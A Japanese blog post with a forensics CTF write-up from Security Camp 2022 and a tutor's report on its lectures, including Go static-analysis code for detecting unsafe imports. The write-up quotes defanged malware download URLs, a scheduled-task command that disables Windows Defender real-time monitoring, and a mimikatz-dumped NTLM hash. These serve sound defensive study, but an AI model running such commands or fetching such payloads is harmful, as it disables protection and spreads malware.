Autopsyのkeyword searchで「要件定義書」で調べると、コンサルティング要件定義書.zipというファイルのLNKファイルが見つかる。zipファイルを展開したプログラムを探すことになる。 そこでwin_prefetch_view上で「zip」と検索すると7-ZIP関係のプログラムが見つかる。
プリフェッチ(5) ans 7-zip
さらに、7ZG.EXE-D9AA3A0B.pfの関連ファイルを確認するとコンサルティング要件定義書.ZIPが見つかるので、\VOLUME{01d6677c18ea2be0-dc1925ef}\PROGRAM FILES\7-ZIP\7ZG.EXEがZIPファイルを展開したプログラムであると分かる。

win_prefetch_view上でのFindコマンドが関連ファイルのFilenameまでを検索対象としていないようで、「コンサルティング要件定義書」という文字列で検索しても引っ掛からなかった。

単にpfファイルをざっと確認しても、7-ZIPくらいしかファイルの展開に関連しそうなプログラムは見つからないので、適当に関連ファイルを確認していくだけでもコンサルティング要件定義書.ZIPを見つけられると思われる。

Analysis

これまで学んだ各種アーティファクトやツール、Autopsyのkeyword searchを駆使してフォレンジック解析を進めていく。

Analysis(1)
Analysis(1)
解答
Analysis(1) ans
プリフェッチ(5)と同様に、Autopsyのkeyword searchにて「要件定義書」と検索して見つけたコンサルティング要件定義書.zip.lnkファイルのAccessed タイムスタンプを確認する。 2022-06-12 13:25:11 JST

Analysis(2)
Analysis(2)
解答
Analysis(2) ans
Autopsyのkeyword searchにて「要件定義書.zip」と検索して見つかる、Web Downloads Artifact、Web History Artifact、places.sqlite、これらは全て、「C:/Users/shizriku.RETRICKS/AppData/Roaming/Mozilla/Firefox/Profiles/ni6148kl.default-release/places.sqlite」というファイルから得られる情報である。これはFirefoxに関連するアーティファクトであり、https://support.mozilla.org/ja/kb/profiles-where-firefox-stores-user-dataによると、places.sqlite

すべてのブックマーク、ダウンロードしたファイルと表示したページのリストが含まれています。

とのこと 例えばWeb Downloads ArtifactのData Artifactsを確認すると、https.://form.run/admin/api/v1/form_attachments/xi9XLyaqtUlCSxPlCsMMw9sE3q5QxHsJeES3k7y9というURLからダウンロードされたことが分かる。

Analysis(3)
Analysis(3)
解答 C:\Users\Public\Documents下のファイル群の中で最初に作られたファイルはldr_od.exeである。Autopsy上でこのldr_od.exeのCreatedのタイムスタンプを右クリックし、View File in TimelineからFile Created > Show Timelineを選択し、全てのタイムスタンプ上での流れを確認する。
Analysis(3) timeline
すると、最も直近に実行されたファイル、つまりEvent TypeにてProgram Runとなっているのはpowershell.exeであると分かる。このデータはプリフェッチファイルから得られている。

あるいは、プログラムが実行された時には基本的にpfファイルが作られるんだということで、win_prefetch_viewのLast Run Timeのカラムからタイムスタンプを精査しても良い。

Analysis(3) pf
ldr_od.exeが作られた2022-06-12 13:25:39 JSTの最直近のpfファイルのタイムスタンプは、POWERSHELL.EXEのタイムスタンプであり、関連ファイルのFilenameにもldr_od.exeやldr_ie.exeやa64.exeなどが存在することから、powershell.exeが直近に実行されたexeとして扱うに相応しいと分かる。

Analysis(4)
Analysis(4)
解答 Analysis(3)のpowershell.exeのpfファイルの関連ファイルにldr_od.exeが存在しているので、powershellによってダウンロードされたのではという目処が立ち、よってダウンロード元のURLの情報はメモリ上に存在しているだろうという予測ができる。その上でAutopsy上で「ldr_od.exe」でキーワード検索する。 ldr_od.exeに関連するアーティファクトはかなりの数あるが、その中でもpagefile.sysの中に「107.173.166.18/ldr_od.exe」という文字列が散見され、このIPアドレスからダウンロードされていそうだなと予想できる。
Analysis(4) ans
特に、4486ページ目に決定的な証拠があり、http.://107[.]173[.]166[.]18/ldr_od.exeが答えであると分かる。(URLとして表示されないように[]や.を挿入している。)

あるいは、Autopsyのkeyword searchは正規表現で検索することができるので、「http(s)?://.*ldr_od.exe」と検索しても良い。

Analysis(4) reg exp search
そうすれば一発でURLがhttp.://107[.]173[.]166[.]18/ldr_od.exeであると分かる。

Analysis(5)
Analysis(5)
解答 Analysis(4)と同じように「http(s)?://.*ldr_ie.exe」で検索しすると、一つのアーティファクトC:\ProgramData\Microsoft\Windows Defender\Support\MpWppTracing-20220612-094419-00000003-ffffffff.binだけ見つかる。
Analysis(5) ans
以上よりhttp.://45[.]35[.]14[.]79/4n6/ldr_ie.exeと分かる。

ところでこのMpWppTracing-[0-9]{8}-[0-9]{6}-[0-9]{8}-ffffffff.binは、WPP Software Tracing - Windows drivers | Microsoft Learnにあるように、WPP Software Tracingという機能をドライバーが使えるイベントトレース機能関連のログのようで、今回のこのファイルはWindows Defender\Support下にあるように、Windows Defenderのトレースログのようである。

Analysis(5) MPLog
実際同じディレクトリに存在するMPLog How to Use MPLogs for Forensic Investigations | CrowdStrikeというアーティファクトに、WPP関連のイベントのログが存在し、そこでfilenameに上述の形式のbinファイルが明記されているので、間違いない。

もっともこのbinファイルにどのようなイベントが記録されるのかは謎で、Windows Defenderをrevするくらいしかなそう。Google Scholarでも一件だけ単にダウンロードされたファイルの名前が残っていたアーティファクトの紹介で載っているだけであり、Github上でもこのファイルから正規表現でdllやpdb等のファイル名を抜き出すpythonスクリプト一件しかヒットしない。 一つだけそれについて議論していそうなページSolved: MS Defender creating MsWppTracing files and hanging OS every 5 minutes. | Experts Exchangeを見つけたが、肝心なところから見えなくなっていて、Free Trialしたくないので(payment methodを要求されるので)閲覧できていない。

しかし、アーティファクトとして有用なのは間違いない。実際このbinファイルには他にもpowershellや各種コマンドの痕跡が残されている。例えばa64.exeも同じようにpowershell.exeを用いてダウンロードしていることが分かるし、永続化(2)と関連してcmd /c schtasksでpowershell Set-MpPreference -DisableRealtimeMonitoring $True /RU SYSTEM /SC ONSTARTがt1というタスクとして登録されているのが発見できる。

Analysis(6)
Analysis(6)
解答 ハッシュ(2)よりmi64.exeがmimikatz GitHub - gentilkiwi/mimikatz: A little tool to play with Windows securityであり、一連の流れでmi.txtがmi64.exeによって作られたと予想できる。
Analysis(6) pf
実際、mi64.exeのpfファイルの関連ファイルとしてmi.txtが存在する。 そして、mimikatzは平文パスワード、NTLMハッシュ、ピンコードやケルベロスチケットをメモリから抜き出す有名なソフトウェア。
Analysis(6) ans
このmi.txtには実際にshizrikuのNTLMハッシュが取得されており、a621b48e85488d38790fcbb8520e307e

Analysis(7)
Analysis(7)
解答 ldr_ie.exeはpfファイルを確認すると、4回実行されていることが分かる。これは、2022-06-12 13:37:59 JST、2022-06-12 13:44:05 JST、2022-06-12 13:49:26 JST、2022-06-12 13:58:29 JSTである。このタイムスタンプ全てにおいて、Autopsyのtimeline上で確認する。

Analysis(7) 2022-06-12 13:37:59 JST
Analysis(7) 2022-06-12 13:44:05 JST
Analysis(7) 2022-06-12 13:49:26 JST
Analysis(7) 2022-06-12 13:58:29 JST

ここで、候補となるexeファイルはiexplore.exeかielowutil.exeの二択であると分かる。一方で、a64.exeがldr_ie.exeの直前に実行されているので、例えばa64.exeからielowutil.exeが実行されている場合、時間軸上ではldr_ie.exeの直後に実行されていてもこれを「直後に実行されたexe」として答えて良いのかという問題がある。CTF的には両方提出すればどっちが答えである、でいいのだが、こちらの方が直後である、と納得したい。

さて、ielowutil.exeのpfファイルのタイムスタンプとldr_ie.exeのpfファイルのタイムスタンプはtimelineの表記上前後する時があり、iexplore.exeは必ずldr_ie.exeの後に実行されるというのが判断ポイントであると思いたいところだが、ielowutil.exeとldr_ie.exeのタイムスタンプ自体は1秒の単位までは完全に一致している。そして、Autopsyのpfファイルのタイムスタンプの順序を1秒より小さい時間の記録を元にtimeline上で整列しているのかは疑問である。というのも、今回の講義では扱わなかったがUsnJrnl$J上のpfファイルのcreateのタイムスタンプを比較すると全ての場合において、ldr_ie.exeのpfのタイムスタンプの方が、ielowutil.exeのpfのタイムスタンプより若かったからである。よって今回はこれは判断ポイントとして考慮しないことにする。

問題の趣旨として、ldr_ie.exeによって実行されるexeのことを聞こうとしているのは間違いない。ldr_ie.exeのバイナリの中にstringとしてiexploreは存在しているが、ielowutilという文字列は存在していないという点はまず、考慮に値する。しかし、ielowutilが実際に何をしているのかわからなかったこともあり、結局例えばiexplore.exeこそが直後であると決定づける証拠は見つからなかった。

答えは提出したところielowutil.exeではなかったのでiexplore.exeであった。しかし、後でざっと動的解析してみたところ*1ldr_ie.exeを実行してからiexplore.exeを実行されるまでの間に必ずielowutil.exeが実行されたので(a64.exeを実行しなくても実行された)、愚直に直後という言葉を文字通り捉えるのであればielowutil.exeの方が適当であるといえる。一方でこの問題自体はielowutil.exeを答えさせたい問題ではなく、恐らくldr_ie.exeはiexplore.exeというブラウザ経由で何かをするプログラムであるということを言いたいのであり、ielowutil.exeはiexplore.exeを起動する初期化的な役割をしているだけであってマルウェアの挙動の本質ではないことを考えるとiexplore.exeと解答してしかるべきとも言えそう。*2

例えばより捻くれた屁理屈として、「直後に実行された」という言葉に対してntoskrnl.exeとかも言えてしまうわけで、そういう解釈はさておき実際のインシデント調査を想定すると、ldr_ie.exeを実行直後にiexplore.exeが実行されていた、とまとめる方がAnalysisとしては意義のあることと考える。

Analysis(8)
Analysis(8)
解答
Analysis(8) ans
SRUMのNetwork Data UsageにてApplicationカラムでiexplore.exeで絞り、Bytes Sentの値を全て合計すると2143048となる。

まとめ

復習がてら調べていたらMPLog等のアーティファクトの存在に気づくことができたりと良かったです。

*1:Windows Defenderで検知されなかったが、このマルウェアはそれを狙って標準のiexplore.exeにコードを埋め込んで実行することで、検知を回避してC2サーバにアクセスしているらしい。

*2:iexplore.exeをウィンドウを開かないように実行するためにとしてActivator.CreateInstance(Type.GetTypeFromProgID("InternetExplorer.Application") )経由で呼び出すようにしたところ、ielowutil.exeがその前に実行されるようになってしまっていたとのこと。

seccamp 2022にチューターとして参加したお話

はじめに

タイトルの通りですが、セキュリティキャンプ2022に脅威解析クラス(Cトラック)のチューターとして参加させていただきましたので、その記録を残しておこうと思います。所々、去年2021の講義についても触れますが、自分は去年の受講生としての参加記を書いていないので、以下のリンクから去年と今年のCトラックのプログラムを確認してもらえるとわかりやすいかと思います。

セキュリティ・キャンプ全国大会2021オンライン プログラム:IPA 独立行政法人 情報処理推進機構

セキュリティ・キャンプ全国大会2022オンライン プログラム:IPA 独立行政法人 情報処理推進機構

Cトラックについて

今年のCトラックはC1のForensics、C2C3のKernel Exploit、C4C5のGoのソースコードの静的解析、C6C7のMalware Analysisの計4つの講義を聴く機会がありました。各講義の詳細は後に触れますが、どの講義も高難易度かつボリューミーで、濃密な5日間でした。全ての講義にハンズオンがあり、場合によっては受講者同士で相談し合って問題に取り組むなどしていて、知識を得て構造を理解するだけでなく、体験的にも理解するという素晴らしいものだったと思います。TSG内での自分の分科会の講義も見直して、よりハンズオン重視の内容へと改善していきたいですね。

また、Cトラックでは毎日講義終了後一時間程の、プロデューサーと講師を含んだCトラック関係者が集まって雑談する任意参加の会があって、ここでいろいろな話を聞くのも楽しかったです。もっともチューターは夕礼の時間と被ってしまって雑談会には途中参加という形にならざるを得ませんでしたが、これは如何ともし難いことです。

現地参加について

今年は去年とは違い、チューター(一部のトラックのチューターの人々は来ることができなかった)と講師は府中に集まったわけですが、やはり現地参加は良かったです。Twitterで拝見していた方々と顔を合わせることができましたから。休憩時間に講師方やプロデューサー方にちょっとした質問や相談を気軽にすることができたというのも助かりました。Cのチューターは二人いて、もう一人はmc4nfさんですが、彼の気さくな人柄もあってすぐに打ち解けることができて、5日間楽しかったですね。また、TSGerのつばめ先輩とhsjoihs先生と顔を合わせることができたのも嬉しかったです。

各講義について

ここからは各講義について、事前準備と講義の内容に触れて、事後の感想を記すということをやっていこうと思います。講義の内容といっても当日の内容のみを書いたわけではなく、C1とC4C5は自分の復習したことも盛り込まれていますが、復習までが講義のうちということでお願いします。C2C3とC6C7は自分の復習がまだ終わっておらず、講義内容のさわりを書いただけになっています。流石に3ヶ月たったのに何も出さないのはやばいということで中途半端な放出になっていますが、後で必ず、C2C3とC6C7の復習やWriteupを書いて出そうと思っています。 特定の講義についてまず先に確認したいかたは以下のリンクからそれぞれに飛んでください。

C1

C2C3

C4C5

C6C7

[C1] Forensics

(痕跡から手がかりを集める - アーティファクトの分析)

  • 概要

WindowsアーティファクトであるNTFSの$MFTのタイムスタンプ、永続化キー、SRUDB.dat、prefetchファイル等に対する解析を、Autopsyやその他ツール群を使ったCTF形式の演習で学ぶ。

  • 事前準備

自分は去年のseccampのC2(痕跡から手がかりを集める - アーティファクトの発見/分析技術)を受講し、それに感化されてからかなりForensicsについての勉強をしており、「インシデントレスポンス第3版」を完読したり、Eric Zimmerman's Toolsを一通り使ったり、$MFTのrawデータのフォーマットを確認したり、RedlineやFTK imagerでライブレスポンスの練習をしてみたり等々のことをやっていたので、この講義をサポートできる自信がありました。

講義を受けるための事前準備として、「Win10の仮想マシンを用意し、AutopsyをインストールしてE01ファイルを食わせてingest modulesをすること」が必要でしたので、キャンプ開始の前日(8/7)にDiscordで受講生と通話しながら環境構築をしました。比較的小さなE01ファイルでしたがingestには3時間かかったので、これは当日の朝に慌ててやってもどうにもならないやつだと気づいて念入りにメンションしたのが良かったのか、当日は受講生の皆さん全員が環境を用意して講義に臨むことができたようです。今年の受講生は事後アンケートを期限内に全員提出するという偉業を達成していましたし、優秀ですね。余談ですが、去年は僕が締め切りに遅れて足を引っ張っていました。

  • 講義内容

説明のために、去年のC2の講義との差分を共有しておくと、去年は$UsnJrnl:$JとSRUDB.datとRDP bitmap cacheの解析を行いました。今年はSRUDB.datは共通で、MFTのタイムスタンプ、永続化キー、prefetchファイル、そしてAutopsyを用いたキーワード検索が自分にとって新しく聴くことができた部分になります。

CTFの問題設定としては、マイニングぽいことをしている疑わしいファイルが見つかったWindows機において何が行われていたか、Autopsyを用いたE01ファイルの解析で読み解いていくというものでした。自分はTSG内でForensicsの分科会を開催したいという意思があり、しかしながら問題設定等に難儀していて未だ実行できていないわけですが、こうリアリティがあってかつ各アーティファクトの情報を使いながら全貌を把握する道筋が示された一連の問題を作ることができるというのは、やはり業務で実際のインシデントの解決を行なってきたプロの方にしかできないものであるなと感じました。

Windowsアーティファクトに関する分析調査の意義等の導入を終えた後、まずはファイルのhashに関して、疑わしい一連のexeファイルのhashをVirustotalで検索するなどして手がかりを掴むということを行いました。これは去年のC1(脅威調査と相関分析を用いて高度な攻撃を読み解こう)で扱っていた内容がこっちに入ってきたという感じです。次に、それらのexeファイルがASEP(Auto-Start Extensibility Point)によって永続化されているので、そのキーを特定しようという形で永続化キーを取り扱いました。Autorunsは動かして確かめたことはありましたが、AutopsyにAutoruns Pluginがあるとは初めて知りました。タスクスケジュール、Runキー、Windowsサービス等、複数の永続化キーをどのユーザーが作成したか等を含めて確認したのはいい演習になりました。

$MFTのタイムスタンプに関しては$SI属性だけでなく、$FN属性のタイムスタンプも応用で扱いました。$SIの改竄は容易なので$FNとの比較が効果的だったりするという話でした。$FNの改竄も確かインシデントレスポンス第3版で扱っていて、setmaceとかファイルをフォルダ間で移動させることで$FNを改竄する方法が載っているので試すと面白いと思います。setmaceのissueで去年のC4(UEFI BIOSセキュリティ)の講師のtandaさんを見つけて、みんな色々と勉強をしているんだなぁと思ったという小話を追記しておきます。

SRUDB.datは去年と同じく、srum-dumpを使って生成したxlsxファイルを使って解析しました。やはり、各プログラムの大まかな実行時間やPathやネットワーク使用履歴、ユーザーIDなどが確認できるのは非常に強力ですね。今回の講義では扱いませんでしたが、$UsnJrnl:$Jの情報も並行して利用するとより詳細な解析をすることができます。

prefetchファイルの解析はNirsoftのWinPrefetchViewを使って行いました。確か、$UsnJrnlの解析においてはこのpfファイルがCREATEされたりしたときにそのexeファイルが実行されたという解釈をしていた気がします。それはさて置き、このprefetchファイルの解析によってファイルシステム上から実体が消されていた怪しいファイルの存在が明らかになります。そのファイルのダウンロード元などを調べることでインシデントの全体の流れが見えてきます。ネットから拾ったファイルはexeファイルだけでなく、LNKファイルに関しても気をつけないといけませんね。

キーワード検索についてはAutopsy上でkeyword search ingest moduleを実行して行いました。pagefile.sysにはかなり有用な情報が残っているものですね。ここで受講者のAutopsyが起動しなくなるアクシデントが発生し、結局起動はできたもののingestの結果がなくなってしまっていて根本的な解決まで手助けできなかったことは残念でした。時間があったらingest後のindexの情報等をフォルダごとどうにかしてドライブ経由で送るなどの方法とれたかもしれませんが、多分講義時間中には厳しかった気がします。他にも、Autopsyはやはりメモリを食うので、VMが落ちてしまった等のアクシデントがたまに起こっていました。去年のC1でRedlineを使って怪しいプロセスを追って行った時も、VMのフリーズや動作が重い等の事象が発生していたので、フォレンジックの講義にはつきものかもしれません。

  • 事後の感想

今年のForensicsの講義も非常に充実した内容で面白かったです。チューターとしてもできる限りのサポートができたと思っています。CTF形式の演習は講義終了後に時間をとって、去年に引き続き今年も全完しました。もちろん$UsnJrnlとかは使わずに、今回の講義で扱った内容だけで全て解くことができたので、受講生の皆さんぜひチャレンジしてみてください。もっと時間が経ってから簡単なWriteupを書こうと今のところ考えています。その時に講義内容の詳細をもっと深掘りできるでしょう。

C1のCTF形式の演習

[C2C3] Kernel Exploit

(Advanced Linux Kernel Exploit)

  • 概要

eBPFの検証器のソースコードから脆弱性を見つけ、検証器のコード上で最大値と最小値の推測を間違えたレジスタを作り出すことで、ポインタをスカラーに変えてリークしたりALU sanitationを回避して範囲外書き込みを行ったりしてAAR/AAWを実現し、modprobe_pathもしくはcore_patternを書き換えてkernel landで任意のコードを実行する。

  • 事前準備

ptr-yudaiさんのこの講義は僕のチューター応募を最も後押ししたものです。いつかのタイミングでKernel Exploitに入門したいと考えていたので、今がちょうど良い時であると思いました。事前課題としてLinux Kernel Programmingという洋書を頂き、また、Pawnyableという素晴らしい資料サイトを閲覧することができました。Pawnyableは以下のリンクからご確認ください。

Linux Kernel Exploitation | PAWNYABLE!

チューターとして受講者のサポートができるほど精通しなければならないということで、Linux Kernel Programmingは9章まで読みました。この本もLinux Kernelのビルドからkernel moduleの作成、物理メモリをKernelがどのように扱っているのか、そしてKernelのAPIの違いなどをサンプルプログラムを動かすことで理解できる良書でした。UserlandのPwnに触れてきているため、ユーザープロセスから見たアドレス空間の理解はしていましたが、この本のおかげでKernelにおけるstackやheapなどLinux Kernelにとってのアドレス空間の全体図を把握することができました。もっとも、PawnyableにおいてExploitに必要なLinux Kernelの知識は尽くされているので、講義の準備のためにこの本をそこまで読み込む必要があったかと言われると、後述するeBPFの勉強の方をもっとやっておくべきだったという反省があります。C1の講義が終わった後にやばいやばいといいながらPawnyableのeBPFの章を読んでいました。

Pawnyableの方ではLinux Kernel Moduleの脆弱性をついた攻撃をサンプルの問題ともに学ぶことができました。全受講生がHolstein v1のexploitを書くことができていましたので、SMEP、SMAP、KPTI、KASLRなどKernel空間特有のセキュリティ機構のbypass方法を理解したことになります。

  • 講義内容

全然まとめられていないので、冬休みにちゃんとしたものを書こうと思いますが、ざっとだけ。 まず、eBPFについての導入と各命令について触れました。eBPFではkernel modeでユーザーが指定した機械語が実行されるので、やばい動作をしないよう検証器が存在しverifier.cで実装されています。今回はverifier.cの一部のコードにパッチが当てられており、ソースコードリーディングでこのパッチによってどのようなバグが生まれるかを特定するハンズオンを行いました。個人的には、ソースコードリーディングのためにbuildしていたlinuxのバージョンを間違えていてショックだったり、全然コードを読み進められなくてもっとコードを読み書きする必要性を感じたりしました。一方で、グループとしてはなんだかんだ議論しながら読んでいき、xorした結果の下32bitが定数だった時に検証器がレジスタの値の境界の条件である最大値と最小値の追跡を間違えている状態が作れる、という話に辿り着いていました。パッチやコードについて何も説明していないので、何が何だかわかりませんね。最終的にはAAR/AAWを実装して、modprobe_pathを書き換えて任意のコマンドを実行できるようになりましたが、その間にいくつもハードルがありました。また後日詳しい記事を書きたいと思います。

  • 事後の感想

内容の濃い講義でした。今後kernel exploitの問題にもチャレンジしていきたいです(と言いつつSECCONのbabypfに挑まずに寝てしまったんですが)。 受講生と通話しながらのハンズオンはとても良かったです。チームでCTFを解いている時と同じような体験で、1人でソースコードを読むよりやっぱり楽しいですね。

[C4C5] Goのソースコードの静的解析

(ソースコードから脆弱性を見つけよう)

  • 概要

Goのソースコードから得られた抽象構文木と型情報から、特定の挙動を検出する自前の静的解析ツールを作る。

  • 事前準備

この講義は事前にやっておくことは指定されていなかったので、何も準備せずに挑みました。とはいえ、GoのインストールやGOPATH, GOHOMEの設定などの準備、簡単にGoを書いてみる等は一応やっておくべきだったと思っています。

  • 講義内容

Cの他の講義と違い、プログラマー色の強い講義でした。自分はまともなプログラムを一切書いたことがなく、大変苦手とするところです。Goに関しても何も知っておらず、「Goのライブラリは全部ソースコードであってバイナリ形式ということはないんですか?」などといった初歩的な質問を現地でしていました。講義の頭では静的解析ツールを自作することの意義や、どこの部分を自作するのかといった導入がなされました。具体的には、ビルドして動かしてしまう前に静的解析をソースコードに対して行ってバグや脆弱性、あるいは悪意のあるコードを検出し対処することで修正のコストが下がるというメリットがあるようです。概要でも少し触れましたが、go/scanner, go/tokenによる字句解析や, go/parser, go/astといったgoのパッケージを使用して抽象構文木をゲットしたり、go/typesやgo/constantといったパッケージを使用して抽象構文木から型情報を抽出したりするなど、使える部分は既存のGoのパッケージの力を借りる一方で、得た抽象構文木や型情報に対して独自のルールチェックができるようなツールを作るというのが今回の講義のテーマでした。「ルールを作る場合はツールも作る。人の手でチェックはせず、ツールに任せることで検出漏れを防ぐ。」とのことです。この間に自分はGoのインストールやGOPATHの設定、goplsとcoc-goのインストールなどを裏で行っていました。講師のtenntennさんはlanguage serverの助けを借りずに生のvimでコーディングされていました。すごい。

ここからはいくつかのハンズオンに沿って講義内容を説明します。実際の講義ではソースコードの穴埋め(コード中にTODOと書いてある部分を実装する)という方法で行われましたが、一からコードを書く体で説明します。出来上がりのコードは講師のtenntennさんの解答例ですので、解答例に対する説明ということになります。ハンズオンのコードはgithubの以下のリンクにあります。

GitHub - gohandson/analysis-ja

section01 exercise01 unsafeパッケージの利用を検出

抽象構文木を使った解析のハンズオンです。くどいですが、「ソースコード中にunsafeというパッケージが使われているかどうか」というルールを作り、そのルールをチェックするツールを作るということですね。まずは使うパッケージをインポートし、main関数からrun関数を実行するようにし、runに処理の実体を書くことにします。run()の先頭で、Cでいうargv[1]の文字列の長さが0だったらソースコードの指定がないということでreturnするようにします。 今回はstrconv.Unquoteのためにstrconvパッケージをインポートしています。

main.goのテンプレート

package main

import (
  "errors"
  "fmt"
  "go/parser"
  "go/token"
  "os"
  "strconv"
)

func main() {
  if err := run(os.Args[1:]); err != nil {
    fmt.Fprintln(os.Stderr, err)
    os.Exit(1)
  }
}

func run(args []string) error {
  if len(args) < 1 {
    return errors.New("source code must be specified")
  }
  return nil
}

サブルーチン、runの中を書いていきます。抽象構文木を作るためにgo/parserのParseFile関数を使用します。ローカル変数fnameに解析対象のファイル名の文字列を格納します。go/tokenのNewFileSet関数で新たなtoken.FileSet構造体を作り、ローカル変数fsetにFileSet構造体のアドレスを格納します。fsetを第一引数に、fnameを第二引数に渡してParseFileを実行します。これによって解析対象のソースコードの抽象構文木のルートのノードである、ast.File構造体へとローカル変数fからアクセスできるようになります。

run

func run(args []string) error {
  if len(args) < 1 {
    return errors.New("source code must be specified")
  }

  fname := args[0]
  fset := token.NewFileSet()
  f, err := parser.ParseFile(fset, fname, nil, 0)
  if err != nil {
    return err
  }
  return nil
}

ast.File構造体を確認すると、File.Importsからast.ImportSpec構造体のポインタの配列にアクセスできると分かります。

ast.File

type File struct {
    Doc        *CommentGroup   // associated documentation; or nil
    Package    token.Pos       // position of "package" keyword
    Name       *Ident          // package name
    Decls      []Decl          // top-level declarations; or nil
    Scope      *Scope          // package scope (this file only)
    Imports    []*ImportSpec   // imports in this file
    Unresolved []*Ident        // unresolved identifiers in this file
    Comments   []*CommentGroup // list of all comments in the source file
}

ImportSpec.Pathからast.BasicLit構造体のポインタを手に入れることができ、BasicLit.Valueから文字列リテラルを得ることができます。

ast.ImportSpec

type ImportSpec struct {
    Doc     *CommentGroup // associated documentation; or nil
    Name    *Ident        // local package name (including "."); or nil
    Path    *BasicLit     // import path
    Comment *CommentGroup // line comments; or nil
    EndPos  token.Pos     // end of spec (overrides Path.Pos if nonzero)
}

ast.BasicLit

type BasicLit struct {
    ValuePos token.Pos   // literal position
    Kind     token.Token // token.INT, token.FLOAT, token.IMAG, token.CHAR, or token.STRING
    Value    string      // literal string; e.g. 42, 0x7f, 3.14, 1e-9, 2.4i, 'a', '\x7f', "foo" or `\m\n\o`
}

この文字列リテラルはGoのソースコードの中のimport()の中の各パッケージの名前の文字列リテラルです。よってこの文字列リテラルからstrconv.Unquoteを使って引用符をはずし、その文字列がunsafeと一致していれば検知することにすればよいです。Goでは宣言した変数を使わないとコンパイルエラーになるらしく、エラーハンドリングを省略するために例えば返り値にアンダースコアを使うといいらしいです(要出典)。

今回はfor range文のループカウンターは使わないのでアンダースコアに入れています。for range文の中でローカル変数specにf.Importsの指す配列の要素である各ast.ImportSpec構造体を格納しています。spec.Path.Valueから文字列リテラルを得られるので、その文字列リテラルをstrconv.Unquoteした結果をローカル変数pathに格納し、pathと文字列unsafeを比較しています。

go/astの構造体にはそれぞれPos()という関数が存在しているようで(後に分かるがこれは各構造体がPosというメソッドを使えると行った方が正しい表現だった)、これによってその構造体のtoken.Posが得られるようです。token.Posは「Pos is a compact encoding of a source position within a file set.」とのことで、ここからソースコードのなかの位置がわかります。さらにtoken.Posはtoken.Postion関数に渡すことでtoken.Position構造体に変換することができ、token.Position構造体から例えばunsafeパッケージはソースコードの何行目の何番にあるのかといった情報を得ることができます。今回はspec.Pos()によって得られたunsafeパッケージのImportSpec構造体のtoken.Posをfset.Positionに渡すことによってunsafeパッケージの位置を出力していますが、例えばspec.Path.Pos()からunsafeパッケージのBasicLit構造体のtoken.Posをゲットして、それを使っても同じ結果になることを確認しています。

run

func run(args []string) error {
  if len(args) < 1 {
    return errors.New("source code must be specified")
  }

  fname := args[0]
  fset := token.NewFileSet()
  f, err := parser.ParseFile(fset, fname, nil, 0)
  if err != nil {
    return err
  }
  for _, spec:= range f.Imports {
    path, err := strconv.Unquote(spec.Path.Value)
    if err != nil {
      return err
    }
    if path == "unsafe" {
      pos := fset.Position(spec.Pos())
      fmt.Fprintf(os.Stderr, "%s: import unsafe\n", pos)
    }
  }
  return nil
}

./testdata/a.go (解析対象)

package main

import (
        "fmt"
        "unsafe"
)

type T struct {
        X [2]string
        Y string
}

func main() {
        t := T{
                X: [...]string{"A", "B"},
                Y: "C",
        }

        xp := uintptr(unsafe.Pointer(&t.X))
        yp := (*string)(unsafe.Pointer(xp + unsafe.Sizeof("")*2))
        fmt.Println(*yp)
}

#実行結果
go build .
./exercise01 testdata/a.go
testdata/a.go:5:2: import unsafe

unsafeパッケージが使われていたら、検出できるようになりました。わいわい。今回はパッケージしか確認しないのでParseFileのmodeにparser.ImportsOnlyフラグを指定しても良かったですね。

section02 exercise01 init関数における不正なコマンドの呼び出しを検出

不正なコマンドとして、exec.Command関数の呼び出しをチェックしましょう。init関数はパッケージをインポートした時に実行される関数であり、もし不正なコマンドがinit関数に書かれているパッケージがあれば、そのパッケージをインポートするだけでコマンドが実行されてしまうので、静的解析の段階で検出して防ごうという意義のハンズオンだと思います。このハンズオンは大きく分けて2段階の実装をする必要があります。第一にinit関数を見つける機能、第二にexec.Command関数の呼び出しを見つける機能です。第二の段階では抽象構文木の走査だけではダメで、型チェックの力を借りる必要があります。というのもソースコード内でexec.Commandという文字列の構造を見つけたらOKというわけではなく、使われている文字列がなんであれ実体がos/execであるようなパッケージから、さらにCommandという名前の関数が実行されている場合こそが検出したい条件であるからです。そのためにはソースコードの各識別子がどこで定義し、どこで使用されているのかという情報と、各変数や式の型がなんであるかという情報、つまり型チェックから得られる情報が必要なのです。

型チェックのためにgo/importerとgo/typesをimportします。前と同じように、run関数の中に機能の主となる処理を書くことにします。

main.goのテンプレート

package main

import (
  "errors"
  "fmt"
  "go/ast"
  "go/importer"
  "go/parser"
  "go/token"
  "go/types"
  "os"
)

func main() {
  if err := run(os.Args[1:]); err != nil {
    fmt.Fprintln(os.Stderr, err)
    os.Exit(1)
  }
}

func run(args []string) error {
  if len(args) < 1 {
    return errors.New("source code must be specified")
  }
  return nil
}

run関数を書いていきましょう。token.NewFileSet関数によってローカル変数fsetを、そしてparser.ParseFile関数によってローカル変数fを宣言してソースコードの抽象構文木を作るところまでは同じです。

run

func run(args []string) error {
  if len(args) < 1 {
    return errors.New("source code must be specified")
  }

  fname := args[0]
  fset := token.NewFileSet()
  f, err := parser.ParseFile(fset, fname, nil, 0)
  if err != nil {
    return err
  }
  return nil
}

まずinit関数の宣言を探したいので、ast.FileのDeclsからast.Declインターフェースの配列にアクセスしましょう。

ast.File

type File struct {
    Doc        *CommentGroup   // associated documentation; or nil
    Package    token.Pos       // position of "package" keyword
    Name       *Ident          // package name
    Decls      []Decl          // top-level declarations; or nil
    Scope      *Scope          // package scope (this file only)
    Imports    []*ImportSpec   // imports in this file
    Unresolved []*Ident        // unresolved identifiers in this file
    Comments   []*CommentGroup // list of all comments in the source file
}

Goのインターフェースというものを正しく理解できている自信はありませんが、インターフェース内に定義されているメソッドが実装されているような構造体だけがそのインターフェースを使うことができるようです。

